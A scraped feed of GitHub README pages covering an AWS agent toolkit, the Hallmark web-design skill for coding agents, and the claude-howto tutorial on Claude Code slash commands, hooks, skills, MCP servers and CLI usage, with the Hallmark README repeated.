| aws-data-analytics | \nSkills for data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena. | \n
| aws-agents-for-devsecops | \nInvestigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent. | \n
| aws-startup-advisor | \nPuts an AWS Startups Solutions Architect in your coding assistant. Recommends the smallest architecture for your stage, credits, and team, then can scaffold it, migrate you from Azure, Google Cloud, or Heroku, move model calls to Amazon Bedrock, investigate production incidents, answer AWS Activate credits eligibility questions, and find startup offers you can use. | \n
Plugins are currently available for Claude Code, Codex, Cursor, and Devin. For other agents, configure the AWS MCP Server directly and install skills from this repository.
\nAgent skills are curated packages of instructions and reference materials that help agents complete specific AWS tasks. Skills are loaded on demand \u2014 agents discover and retrieve only what's relevant to the current task.
\nnpx skills add aws/agent-toolkit-for-aws/skills\nBrowse the skills/ directory to see all available skills.
Recommended project-level configuration files that tell agents how to use AWS most effectively \u2014 for example, by using the AWS MCP Server, discovering available skills, or searching documentation before acting.
\nSee rules/ for details.
The AWS MCP Server is a managed server that gives agents access to AWS through the Model Context Protocol. It provides:
\nFor details on operation, available tools, authentication, and supported Regions, see the AWS MCP Server documentation.
\nIn 2025, AWS began releasing MCP servers, skills, and plugins as part of AWS Labs. The Agent Toolkit for AWS is the successor to those tools. We recommend using the Agent Toolkit for AWS, because it offers key features including:
\nAWS Labs MCP servers, skills, and plugins will continue to work and accept contributions, and over time the best of AWS Labs will be transitioned to the Agent Toolkit for AWS to ensure that customers can access the broadest array of tooling and guidance for their agents.
\nThis project is licensed under the Apache-2.0 License. See LICENSE for details.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/Nutlope/hallmark", "url": "https://github.com/Nutlope/hallmark", "external_url": null, "title": "Nutlope/hallmark", "content_text": "", "content_html": "Anti-AI-slop design skill for Claude Code, Cursor, and Codex.
A design skill for Claude Code, Codex, Cursor and OpenCode that refuses to look AI-generated.
\nusehallmark.com \u00b7 forty-eight themes \u00b7 custom on request \u00b7 redesign and audit by name
\nMade by Together AI.
\n ![\"Hallmark,](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/site/OG-hallmark.png\")
Hallmark holds a hard floor and then gets out of the way. It deals three themes from a catalog of forty-eight materials, builds the page around what the visitor came to do, and lints the result in a real browser against the tells that read as machine-made: the eyebrow above every heading, tracked-capital labels, one coloured word in a headline, a page of empty frames or nothing but photographs, a hero that misses its screen, an email sign-up at the end of every page, a form that says thanks without sending anything. A fresh-context reviewer gets the last word.
\nThe gates come in tiers. The Floor never ships (contrast, focus, reduced motion, invented facts, a broken phone layout). Reflex gates are the defaults a model falls into; a build with a reason may overrule one on the record. Finish checks are craft detail that never blocks a ship.
\n/hallmark redesign <path> rebuilds a page and keeps its content and wiring; /hallmark audit <path> only reports.![\"Dusk](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/dusk.jpg\") | \n ![\"Cobalt](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/cobalt.jpg\") | \n ![\"Studio](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/studio.jpg\") | \n ![\"Atelier](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/atelier.jpg\") | \n ![\"Ribbon](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/ribbon.jpg\") | \n
| Dusk Closewise, bank reconciliation | \n Cobalt Relay, a webhook API | \n Studio Field Office, an identity studio | \n Atelier Maison Orla, a fragrance atelier | \n Ribbon Lull, a sleep sounds app | \n
![\"Furrow](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/furrow.jpg\") | \n ![\"Dose](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/dose.jpg\") | \n ![\"Hum](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/hum.jpg\") | \n ![\"Terminal](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/terminal.jpg\") | \n ![\"Hedgerow](\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/hedgerow.jpg\") | \n
| Furrow Fieldbook, farm records | \n Dose Tandem, a family medication app | \n Hum Sprout, a reading game for kids | \n Terminal burrow, a dotfiles CLI | \n Hedgerow Five Mile Gin, a distillery | \n
Ten of the forty-eight. A theme is a material, not a plan: it never says what a page contains or in what order, so two prompts in one theme make two different pages. Each is one file of at most 8 KB in references/themes/ with a picture beside it; a build reads exactly one. See them all at usehallmark.com.
Say custom and Hallmark drops the themes: no plan, no components, no palette recipe, only the floor, the gates and a short direction in direction.md to find one idea that only this client has and let it run the page.
design.md) and asks once for the material: photos, screenshots, real numbers. Nothing is invented.scripts/theme.mjs deal offers three themes that fit the prompt and clear the log; draw deals the page's anatomy from its job.scripts/sloplint.mjs --render checks the page at eight widths, then a subagent reviews it with fresh eyes.Each page is self-contained HTML and CSS, stamped in its first CSS comment with the decisions it took.
\nHallmark never starts on a design that already exists unless you name it:
\n/hallmark redesign ./src/app\n/hallmark audit ./index.html\nA full redesign keeps the content and the wiring and changes the system and the layout; say keep the layout for a restyle or polish for only the tells. sloplint --before records every link, field, handler and heading first, sloplint --kept fails the redesign if one went missing, and the handoff is a side-by-side before and after.
npx skills add nutlope/hallmark -g\n-g installs for every project; leave it off to install into the current one. Needs Node 18 or later. The browser checks (sloplint --render, screenshots) also need npm i -g puppeteer-core and Chrome; without them the static checks still run.
| Harness | \nLands in | \nInvoke | \n
|---|---|---|
| Claude Code | \n~/.claude/skills/hallmark | \n /hallmark <prompt> or describe a new build | \n
| Codex CLI | \n~/.agents/skills/hallmark | \n $hallmark <prompt> or describe a new build | \n
| Cursor | \nfinds the copies above | \n/hallmark <prompt> or describe a new build | \n
| OpenCode | \nfinds the copies above | \n/hallmark <prompt> or describe a new build | \n
npx skills add nutlope/hallmark -g --agent claude-code (or codex, opencode, cursor, github-copilot)./plugin marketplace add nutlope/hallmark, then /plugin install hallmark@hallmark (invoked as /hallmark:hallmark).node skills/hallmark/scripts/install.mjs validates every theme and reference before it copies; install-hook.mjs adds an edit-time Floor check to Claude Code.node skills/hallmark/scripts/sloplint.mjs <file-or-dir> --render.MIT. Use it, fork it, ship it.
\nThe photo library (skills/hallmark/scripts/photos.json) lists photographs hosted on Wikimedia Commons and holds no image files. Each keeps its own licence (CC0, public domain, CC BY or CC BY-SA), and Hallmark credits every one it uses on the page. It does not use stock sites (Unsplash, Pexels, Pixabay), whose terms bar AI tools from picking their images.
Anti-AI-slop design skill for Claude Code, Cursor, and Codex.
A design skill for Claude Code, Codex, Cursor and OpenCode that refuses to look AI-generated.
\nusehallmark.com \u00b7 forty-eight themes \u00b7 custom on request \u00b7 redesign and audit by name
\nMade by Together AI.
\n
Hallmark holds a hard floor and then gets out of the way. It deals three themes from a catalog of forty-eight materials, builds the page around what the visitor came to do, and lints the result in a real browser against the tells that read as machine-made: the eyebrow above every heading, tracked-capital labels, one coloured word in a headline, a page of empty frames or nothing but photographs, a hero that misses its screen, an email sign-up at the end of every page, a form that says thanks without sending anything. A fresh-context reviewer gets the last word.
\nThe gates come in tiers. The Floor never ships (contrast, focus, reduced motion, invented facts, a broken phone layout). Reflex gates are the defaults a model falls into; a build with a reason may overrule one on the record. Finish checks are craft detail that never blocks a ship.
\n/hallmark redesign <path> rebuilds a page and keeps its content and wiring; /hallmark audit <path> only reports. | \n | \n | \n | \n | \n
| Dusk Closewise, bank reconciliation | \n Cobalt Relay, a webhook API | \n Studio Field Office, an identity studio | \n Atelier Maison Orla, a fragrance atelier | \n Ribbon Lull, a sleep sounds app | \n
| \n | \n | \n | \n | \n
| Furrow Fieldbook, farm records | \n Dose Tandem, a family medication app | \n Hum Sprout, a reading game for kids | \n Terminal burrow, a dotfiles CLI | \n Hedgerow Five Mile Gin, a distillery | \n
Ten of the forty-eight. A theme is a material, not a plan: it never says what a page contains or in what order, so two prompts in one theme make two different pages. Each is one file of at most 8 KB in references/themes/ with a picture beside it; a build reads exactly one. See them all at usehallmark.com.
Say custom and Hallmark drops the themes: no plan, no components, no palette recipe, only the floor, the gates and a short direction in direction.md to find one idea that only this client has and let it run the page.
design.md) and asks once for the material: photos, screenshots, real numbers. Nothing is invented.scripts/theme.mjs deal offers three themes that fit the prompt and clear the log; draw deals the page's anatomy from its job.scripts/sloplint.mjs --render checks the page at eight widths, then a subagent reviews it with fresh eyes.Each page is self-contained HTML and CSS, stamped in its first CSS comment with the decisions it took.
\nHallmark never starts on a design that already exists unless you name it:
\n/hallmark redesign ./src/app\n/hallmark audit ./index.html\nA full redesign keeps the content and the wiring and changes the system and the layout; say keep the layout for a restyle or polish for only the tells. sloplint --before records every link, field, handler and heading first, sloplint --kept fails the redesign if one went missing, and the handoff is a side-by-side before and after.
npx skills add nutlope/hallmark -g\n-g installs for every project; leave it off to install into the current one. Needs Node 18 or later. The browser checks (sloplint --render, screenshots) also need npm i -g puppeteer-core and Chrome; without them the static checks still run.
| Harness | \nLands in | \nInvoke | \n
|---|---|---|
| Claude Code | \n~/.claude/skills/hallmark | \n /hallmark <prompt> or describe a new build | \n
| Codex CLI | \n~/.agents/skills/hallmark | \n $hallmark <prompt> or describe a new build | \n
| Cursor | \nfinds the copies above | \n/hallmark <prompt> or describe a new build | \n
| OpenCode | \nfinds the copies above | \n/hallmark <prompt> or describe a new build | \n
npx skills add nutlope/hallmark -g --agent claude-code (or codex, opencode, cursor, github-copilot)./plugin marketplace add nutlope/hallmark, then /plugin install hallmark@hallmark (invoked as /hallmark:hallmark).node skills/hallmark/scripts/install.mjs validates every theme and reference before it copies; install-hook.mjs adds an edit-time Floor check to Claude Code.node skills/hallmark/scripts/sloplint.mjs <file-or-dir> --render.MIT. Use it, fork it, ship it.
\nThe photo library (skills/hallmark/scripts/photos.json) lists photographs hosted on Wikimedia Commons and holds no image files. Each keeps its own licence (CC0, public domain, CC BY or CC BY-SA), and Hallmark credits every one it uses on the page. It does not use stock sites (Unsplash, Pexels, Pixabay), whose terms bar AI tools from picking their images.
A visual, example-driven guide to Claude Code \u2014 from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
http://luongnv.com/claude-howto/
![\"Claude](\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/resources/logos/claude-howto-logo.svg?sanitize=true\"){kind=logo}
\n \n ![](\"https://img.shields.io/badge/GitHub-%F0%9F%94%A5%2520%25231%2520Trending-purple?style=for-the-badge&logo=github\"){kind=icon}
![\"GitHub](\"https://img.shields.io/github/stars/luongnv89/claude-howto?style=flat&color=gold\")
![\"GitHub](\"https://img.shields.io/github/forks/luongnv89/claude-howto?style=flat\")
![\"License:](\"https://img.shields.io/badge/License-MIT-blue.svg?sanitize=true\"){kind=icon}
![\"Version\"](\"https://img.shields.io/badge/version-2.1.302-brightgreen\"){kind=icon}
\ud83c\udf10 Language / Ng\u00f4n ng\u1eef / \u8bed\u8a00 / \u041c\u043e\u0432\u0430: English | Ti\u1ebfng Vi\u1ec7t | \u4e2d\u6587 | \u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430 | \u65e5\u672c\u8a9e
\nGo from typing claude to orchestrating agents, hooks, skills, and MCP servers \u2014 with visual tutorials, copy-paste templates, and a guided learning path.
Get Started in 15 Minutes | Find Your Level | Browse the Feature Catalog
\nYou installed Claude Code. You ran a few prompts. Now what?
\nYou're leaving 90% of Claude Code's power on the table \u2014 and you don't know what you don't know.
\nThis isn't another feature reference. It's a structured, visual, example-driven guide that teaches you to use every Claude Code feature with real-world templates you can copy into your project today.
\n| \n | Official Docs | \nThis Guide | \n
|---|---|---|
| Format | \nReference documentation | \nVisual tutorials with Mermaid diagrams | \n
| Depth | \nFeature descriptions | \nHow it works under the hood | \n
| Examples | \nBasic snippets | \nProduction-ready templates you use immediately | \n
| Structure | \nFeature-organized | \nProgressive learning path (beginner to advanced) | \n
| Onboarding | \nSelf-directed | \nGuided roadmap with time estimates | \n
| Self-Assessment | \nNone | \nInteractive quizzes to find your gaps and build a personalized path | \n
![\"Claude](\"https://img.shields.io/badge/Claude_Code-2.1+-purple\"){kind=icon}
/self-assessment or /lesson-quiz hooks directly in Claude Code to identify gapsTake the self-assessment quiz or run /self-assessment in Claude Code. Get a personalized roadmap based on what you already know.
Work through 10 modules in order \u2014 each builds on the last. Copy templates directly into your project as you learn.
\nThe real power is in combining features. Learn to wire slash commands + memory + subagents + hooks into automated pipelines that handle code reviews, deployments, and documentation generation.
\nRun /lesson-quiz [topic] after each module. The quiz pinpoints what you missed so you can fill gaps fast.
Take the self-assessment or pick your level:
\n| Level | \nYou can... | \nStart here | \nTime | \n
|---|---|---|---|
| Beginner | \nStart Claude Code and chat | \nSlash Commands | \n~2.5 hours | \n
| Intermediate | \nUse CLAUDE.md and custom commands | \nSkills | \n~3.5 hours | \n
| Advanced | \nConfigure MCP servers and hooks | \nAdvanced Features | \n~5 hours | \n
Full learning path with all 10 modules:
\n| Order | \nModule | \nLevel | \nTime | \n
|---|---|---|---|
| 1 | \nSlash Commands | \nBeginner | \n30 min | \n
| 2 | \nMemory | \nBeginner+ | \n45 min | \n
| 3 | \nCheckpoints | \nIntermediate | \n45 min | \n
| 4 | \nCLI Basics | \nBeginner+ | \n30 min | \n
| 5 | \nSkills | \nIntermediate | \n1 hour | \n
| 6 | \nHooks | \nIntermediate | \n1 hour | \n
| 7 | \nMCP | \nIntermediate+ | \n1 hour | \n
| 8 | \nSubagents | \nIntermediate+ | \n1.5 hours | \n
| 9 | \nAdvanced Features | \nAdvanced | \n2-3 hours | \n
| 10 | \nPlugins | \nAdvanced | \n2 hours | \n
\n\nInstallation note: Starting in v2.1.113, Claude Code ships as a native per-platform binary (macOS/Linux/Windows). The recommended install is the native installer (
\ncurl -fsSL https://claude.ai/install.sh | bash); npm installation is deprecated in the official README; prefer the native installer, Homebrew (brew install --cask claude-code) or WinGet (winget install Anthropic.ClaudeCode). For reference,npm install -g @anthropic-ai/claude-codepulls the same native binary through a per-platform optional dependency at install time. As of v2.1.116, downloads come fromhttps://downloads.claude.ai/claude-code-releases\u2014 corporate proxies must allowlist this host.
# 1. Clone the guide\ngit clone https://github.com/luongnv89/claude-howto.git\ncd claude-howto\n\n# 2. Copy your first slash command\nmkdir -p /path/to/your-project/.claude/commands\ncp 01-slash-commands/optimize.md /path/to/your-project/.claude/commands/\n\n# 3. Try it \u2014 in Claude Code, type:\n# /optimize\n\n# 4. Ready for more? Set up project memory:\ncp 02-memory/project-CLAUDE.md /path/to/your-project/CLAUDE.md\n\n# 5. Install a skill:\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\nWant the full setup? Here's the 1-hour essential setup:
\n# Slash commands (15 min)\ncp 01-slash-commands/*.md .claude/commands/\n\n# Project memory (15 min)\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Install a skill (15 min)\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Weekend goal: add hooks, subagents, MCP, and plugins\n# Follow the learning path for guided setup\nView the Full Installation Reference
\n| Use Case | \nFeatures You'll Combine | \n
|---|---|
| Automated Code Review | \nSlash Commands + Subagents + Memory + MCP | \n
| Team Onboarding | \nMemory + Slash Commands + Plugins | \n
| CI/CD Automation | \nCLI Reference + Hooks + Background Tasks | \n
| Documentation Generation | \nSkills + Subagents + Plugins | \n
| Security Audits | \nSubagents + Skills + Hooks (read-only mode) | \n
| DevOps Pipelines | \nPlugins + MCP + Hooks + Background Tasks | \n
| Complex Refactoring | \nCheckpoints + Planning Mode + Hooks | \n
Is this free? Yes. MIT licensed, free forever. Use it in personal projects, at work, in your team \u2014 no restrictions beyond including the license notice.
\nIs this maintained? Actively. The guide is synced with every Claude Code release. Current version: v2.1.302 (October 2026), compatible with Claude Code 2.1+.
\nHow is this different from the official docs? The official docs are a feature reference. This guide is a tutorial with diagrams, production-ready templates, and a progressive learning path. They complement each other \u2014 start here to learn, reference the docs when you need specifics.
\nHow long does it take to go through everything? 11-13 hours for the full path. But you'll get immediate value in 15 minutes \u2014 just copy a slash command template and try it.
\nCan I use this with Claude Sonnet / Haiku / Opus? Yes. All templates work with Claude Fable 5.1, Claude Fable 5, Claude Opus 5.5, Claude Opus 5, Claude Sonnet 5.5, Claude Sonnet 5, Claude Sonnet 4.6, Claude Opus 4.8, Claude Haiku 5.5, and Claude Haiku 4.5.
\nCan I contribute? Absolutely. See CONTRIBUTING.md for guidelines. We welcome new examples, bug fixes, documentation improvements, and community templates.
\nCan I read this offline? Yes. Run uv run scripts/build_epub.py to generate an EPUB ebook with all content and rendered diagrams.
You already have Claude Code installed. The only thing between you and 10x productivity is knowing how to use it. This guide gives you the structured path, the visual explanations, and the copy-paste templates to get there.
\nMIT licensed. Free forever. Clone it, fork it, make it yours.
\nStart the Learning Path -> | Browse the Feature Catalog | Get Started in 15 Minutes
\n| Feature | \nDescription | \nFolder | \n
|---|---|---|
| Feature Catalog | \nComplete reference with installation commands | \nCATALOG.md | \n
| Slash Commands | \nUser-invoked shortcuts | \n01-slash-commands/ | \n
| Memory | \nPersistent context | \n02-memory/ | \n
| Skills | \nReusable capabilities | \n03-skills/ | \n
| Subagents | \nSpecialized AI assistants | \n04-subagents/ | \n
| MCP Protocol | \nExternal tool access | \n05-mcp/ | \n
| Hooks | \nEvent-driven automation | \n06-hooks/ | \n
| Plugins | \nBundled features | \n07-plugins/ | \n
| Checkpoints | \nSession snapshots & rewind | \n08-checkpoints/ | \n
| Advanced Features | \nPlanning, thinking, background tasks | \n09-advanced-features/ | \n
| CLI Reference | \nCommands, flags, and options | \n10-cli/ | \n
| Blog Posts | \nReal-world usage examples | \nBlog Posts | \n
| Feature | \nInvocation | \nPersistence | \nBest For | \n
|---|---|---|---|
| Slash Commands | \nManual (/cmd) | \n Session only | \nQuick shortcuts | \n
| Memory | \nAuto-loaded | \nCross-session | \nLong-term learning | \n
| Skills | \nAuto-invoked | \nFilesystem | \nAutomated workflows | \n
| Subagents | \nAuto-delegated | \nIsolated context | \nTask distribution | \n
| MCP Protocol | \nAuto-queried | \nReal-time | \nLive data access | \n
| Hooks | \nEvent-triggered | \nConfigured | \nAutomation & validation | \n
| Plugins | \nOne command | \nAll features | \nComplete solutions | \n
| Checkpoints | \nManual/Auto | \nSession-based | \nSafe experimentation | \n
| Planning Mode | \nManual/Auto | \nPlan phase | \nComplex implementations | \n
| Background Tasks | \nManual | \nTask duration | \nLong-running operations | \n
| CLI Reference | \nTerminal commands | \nSession/Script | \nAutomation & scripting | \n
# Slash Commands\ncp 01-slash-commands/*.md .claude/commands/\n\n# Memory\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Subagents\ncp 04-subagents/*.md .claude/agents/\n\n# MCP\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Hooks\nmkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\n\n# Plugins (load a local plugin from the repo root)\nclaude --plugin-dir ./07-plugins/pr-review\n\n# Checkpoints (auto-enabled, configure in settings)\n# See 08-checkpoints/README.md\n\n# Advanced Features (configure in settings)\n# See 09-advanced-features/config-examples.json\n\n# CLI Reference (no installation needed)\n# See 10-cli/README.md for usage examples\nLocation: 01-slash-commands/
\nWhat: User-invoked shortcuts stored as Markdown files
\nExamples:
\noptimize.md - Code optimization analysispr.md - Pull request preparationgenerate-api-docs.md - API documentation generatorInstallation:
\ncp 01-slash-commands/*.md /path/to/project/.claude/commands/\nUsage:
\n/optimize\n/pr\n/generate-api-docs\nLearn More: Discovering Claude Code Slash Commands
\nLocation: 02-memory/
\nWhat: Persistent context across sessions
\nExamples:
\nproject-CLAUDE.md - Team-wide project standardsdirectory-api-CLAUDE.md - Directory-specific rulespersonal-CLAUDE.md - Personal preferencesInstallation:
\n# Project memory\ncp 02-memory/project-CLAUDE.md /path/to/project/CLAUDE.md\n\n# Directory memory\ncp 02-memory/directory-api-CLAUDE.md /path/to/project/src/api/CLAUDE.md\n\n# Personal memory\ncp 02-memory/personal-CLAUDE.md ~/.claude/CLAUDE.md\nUsage: Automatically loaded by Claude
\nLocation: 03-skills/
\nWhat: Reusable, auto-invoked capabilities with instructions and scripts
\nExamples:
\ncode-review-specialist/ - Comprehensive code review with scriptsbrand-voice/ - Brand voice consistency checkerdoc-generator/ - API documentation generatorInstallation:
\n# Personal skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Project skills\ncp -r 03-skills/code-review-specialist /path/to/project/.claude/skills/\nUsage: Automatically invoked when relevant
\nLocation: 04-subagents/
\nWhat: Specialized AI assistants with isolated contexts and custom prompts
\nExamples:
\ncode-reviewer.md - Comprehensive code quality analysistest-engineer.md - Test strategy and coveragedocumentation-writer.md - Technical documentationsecure-reviewer.md - Security-focused review (read-only)implementation-agent.md - Full feature implementationInstallation:
\ncp 04-subagents/*.md /path/to/project/.claude/agents/\nUsage: Automatically delegated by main agent
\nLocation: 05-mcp/
\nWhat: Model Context Protocol for accessing external tools and APIs
\nExamples:
\ngithub-mcp.json - GitHub integrationdatabase-mcp.json - Database queriesfilesystem-mcp.json - File operationsmulti-mcp.json - Multiple MCP serversInstallation:
\n# Set environment variables\nexport DATABASE_URL=\"postgresql://...\"\n\n# Add MCP server via CLI\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Or add to project .mcp.json manually (see 05-mcp/ for examples)\nUsage: MCP tools are automatically available to Claude once configured
\nLocation: 06-hooks/
\nWhat: Event-driven shell commands that execute automatically in response to Claude Code events
\nExamples:
\nformat-code.sh - Auto-format code after writingpre-commit.sh - Run tests before commitssecurity-scan.sh - Scan for security issueslog-bash.sh - Log all bash commandsvalidate-prompt.sh - Validate user promptsnotify-team.sh - Send notifications on eventsInstallation:
\nmkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\nConfigure hooks in ~/.claude/settings.json:
{\n \"hooks\": {\n \"PostToolUse\": [\n {\n \"matcher\": \"Write\",\n \"hooks\": [\n { \"type\": \"command\", \"command\": \"~/.claude/hooks/format-code.sh\" },\n { \"type\": \"command\", \"command\": \"~/.claude/hooks/security-scan.sh\" }\n ]\n }\n ]\n }\n}\nUsage: Hooks execute automatically on events
\nHook Types (5): command, http, prompt, mcp_tool, agent \u2014 how a hook runs.
Hook Events (33, in 4 categories) \u2014 when it runs:
\nPreToolUse, PostToolUse, PostToolUseFailure, PostToolBatch, PermissionRequest, PermissionDeniedSessionStart, Setup, SessionEnd, Stop, StopFailure, SubagentStart, SubagentStopUserPromptSubmit, UserPromptExpansion, MessageDisplay, TaskCompleted, TaskCreated, TeammateIdle \u2014 TaskCompleted and TaskCreated only fire when the todo tools are enabled, which is available by default only on Claude 3.x models, Opus 4 through 4.7, Sonnet 4 through 4.6, and Haiku 4.5 (CLAUDE_CODE_ENABLE_TODO_TOOLS=1 restores them)ConfigChange, CwdChanged, DirectoryAdded, FileChanged, PreCompact, PostCompact, PreModelSwitch, PostModelSwitch, WorktreeCreate, WorktreeRemove, Notification, InstructionsLoaded, Elicitation, ElicitationResultLocation: 07-plugins/
\nWhat: Bundled collections of commands, agents, MCP, and hooks
\nExamples:
\npr-review/ - Complete PR review workflowdevops-automation/ - Deployment and monitoringdocumentation/ - Documentation generationInstallation:
\n# From the repo root (this repo ships no marketplace, so /plugin install does not apply)\nclaude --plugin-dir ./07-plugins/pr-review\nclaude --plugin-dir ./07-plugins/devops-automation\nclaude --plugin-dir ./07-plugins/documentation\nUsage: Use bundled slash commands and features
\nLocation: 08-checkpoints/
\nWhat: Save conversation state and rewind to previous points to explore different approaches
\nKey Concepts:
\nUsage:
\n# Checkpoints are created automatically with every user prompt\n# To rewind, press Esc twice or use:\n/rewind\n\n# Then choose from six options:\n# 1. Restore code and conversation\n# 2. Restore conversation\n# 3. Restore code\n# 4. Summarize from here\n# 5. Summarize up to here\n# 6. Never mind\nUse Cases:
\nLocation: 09-advanced-features/
\nWhat: Advanced capabilities for complex workflows and automation
\nIncludes:
\nAlt+T / Option+T)manual (config value default), acceptEdits, plan, auto, dontAsk, bypassPermissionsclaude -p \"Run tests and generate report\"/resume, /rename, /fork, /branch, claude -c, claude -r~/.claude/settings.jsonSee config-examples.json for complete configurations.
\nLocation: 10-cli/
\nWhat: Complete command-line interface reference for Claude Code
\nQuick Examples:
\n# Interactive mode\nclaude \"explain this project\"\n\n# Print mode (non-interactive)\nclaude -p \"review this code\"\n\n# Process file content\ncat error.log | claude -p \"explain this error\"\n\n# JSON output for scripts\nclaude -p --output-format json \"list functions\"\n\n# Resume session\nclaude -r \"feature-auth\" \"continue implementation\"\nUse Cases: CI/CD pipeline integration, script automation, batch processing, multi-session workflows, custom agent configurations
\n# Uses: Slash Commands + Subagents + Memory + MCP\n\nUser: /review-pr\n\nClaude:\n1. Loads project memory (coding standards)\n2. Fetches PR via GitHub MCP\n3. Delegates to code-reviewer subagent\n4. Delegates to test-engineer subagent\n5. Synthesizes findings\n6. Provides comprehensive review\n# Uses: Skills + Subagents + Memory\n\nUser: \"Generate API documentation for the auth module\"\n\nClaude:\n1. Loads project memory (doc standards)\n2. Detects doc generation request\n3. Auto-invokes doc-generator skill\n4. Delegates to api-documenter subagent\n5. Creates comprehensive docs with examples\n# Uses: Plugins + MCP + Hooks\n\nUser: /deploy production\n\nClaude:\n1. Runs pre-deploy hook (validates environment)\n2. Delegates to deployment-specialist subagent\n3. Executes deployment via Kubernetes MCP\n4. Monitors progress\n5. Runs post-deploy hook (health checks)\n6. Reports status\n\u251c\u2500\u2500 01-slash-commands/\n\u2502 \u251c\u2500\u2500 optimize.md\n\u2502 \u251c\u2500\u2500 pr.md\n\u2502 \u251c\u2500\u2500 generate-api-docs.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 02-memory/\n\u2502 \u251c\u2500\u2500 project-CLAUDE.md\n\u2502 \u251c\u2500\u2500 directory-api-CLAUDE.md\n\u2502 \u251c\u2500\u2500 personal-CLAUDE.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 03-skills/\n\u2502 \u251c\u2500\u2500 code-review-specialist/\n\u2502 \u2502 \u251c\u2500\u2500 SKILL.md\n\u2502 \u2502 \u251c\u2500\u2500 scripts/\n\u2502 \u2502 \u2514\u2500\u2500 templates/\n\u2502 \u251c\u2500\u2500 brand-voice/\n\u2502 \u2502 \u251c\u2500\u2500 SKILL.md\n\u2502 \u2502 \u2514\u2500\u2500 templates/\n\u2502 \u251c\u2500\u2500 doc-generator/\n\u2502 \u2502 \u251c\u2500\u2500 SKILL.md\n\u2502 \u2502 \u2514\u2500\u2500 generate-docs.py\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 04-subagents/\n\u2502 \u251c\u2500\u2500 code-reviewer.md\n\u2502 \u251c\u2500\u2500 test-engineer.md\n\u2502 \u251c\u2500\u2500 documentation-writer.md\n\u2502 \u251c\u2500\u2500 secure-reviewer.md\n\u2502 \u251c\u2500\u2500 implementation-agent.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 05-mcp/\n\u2502 \u251c\u2500\u2500 github-mcp.json\n\u2502 \u251c\u2500\u2500 database-mcp.json\n\u2502 \u251c\u2500\u2500 filesystem-mcp.json\n\u2502 \u251c\u2500\u2500 multi-mcp.json\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 06-hooks/\n\u2502 \u251c\u2500\u2500 format-code.sh\n\u2502 \u251c\u2500\u2500 pre-commit.sh\n\u2502 \u251c\u2500\u2500 security-scan.sh\n\u2502 \u251c\u2500\u2500 log-bash.sh\n\u2502 \u251c\u2500\u2500 validate-prompt.sh\n\u2502 \u251c\u2500\u2500 notify-team.sh\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 07-plugins/\n\u2502 \u251c\u2500\u2500 pr-review/\n\u2502 \u251c\u2500\u2500 devops-automation/\n\u2502 \u251c\u2500\u2500 documentation/\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 08-checkpoints/\n\u2502 \u251c\u2500\u2500 checkpoint-examples.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 09-advanced-features/\n\u2502 \u251c\u2500\u2500 config-examples.json\n\u2502 \u251c\u2500\u2500 planning-mode-examples.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 10-cli/\n\u2502 \u2514\u2500\u2500 README.md\n\u2514\u2500\u2500 README.md (this file)\nThis project includes comprehensive automated testing:
\n# Install development dependencies\nuv pip install -r scripts/requirements-dev.txt\n\n# Run all unit tests\npytest scripts/tests/ -v\n\n# Run tests with coverage report\npytest scripts/tests/ -v --cov=scripts --cov-report=html\n\n# Run code quality checks\nruff check scripts/\nruff format --check scripts/\n\n# Run security scan\nbandit -c scripts/pyproject.toml -r scripts/ --exclude scripts/tests/\n\n# Run type checking\nmypy scripts/ --ignore-missing-imports\nTests run automatically on every push to main/develop and every PR to main. See TESTING.md for detailed information.
Want to read this guide offline? Generate an EPUB ebook:
\nuv run scripts/build_epub.py\nThis creates claude-howto-guide.epub with all content, including rendered Mermaid diagrams.
